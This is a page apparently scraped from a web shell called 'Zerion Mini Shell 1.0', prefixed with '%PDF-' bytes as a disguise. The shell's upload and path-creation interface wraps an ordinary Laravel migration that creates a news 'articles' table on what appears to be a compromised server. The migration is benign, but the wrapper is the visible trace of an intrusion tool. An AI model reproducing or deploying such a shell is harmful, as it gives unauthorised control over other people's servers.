%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/database/migrations/
Upload File :
Create Path :
Current File : /var/www/html/news/database/migrations/2017_04_09_163553_create_articles_table.php

<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class CreateArticlesTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('articles', function (Blueprint $table) {
            $table->bigIncrements('id');
            $table->string('title');
            $table->string('description');
            $table->longText('content');
            $table->boolean('is_featured')->default(false);
            $table->bigInteger('number_of_views')->default(0);
            $table->unsignedBigInteger('creator_id');
            $table->foreign('creator_id')->references('id')->on('users');
            $table->unsignedBigInteger('last_modifier_id');
            $table->foreign('last_modifier_id')->references('id')->on('users');
            $table->unsignedBigInteger('category_id');
            $table->foreign('category_id')->references('id')->on('categories')->onDelete('cascade');
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('articles');
    }
}

Zerion Mini Shell 1.0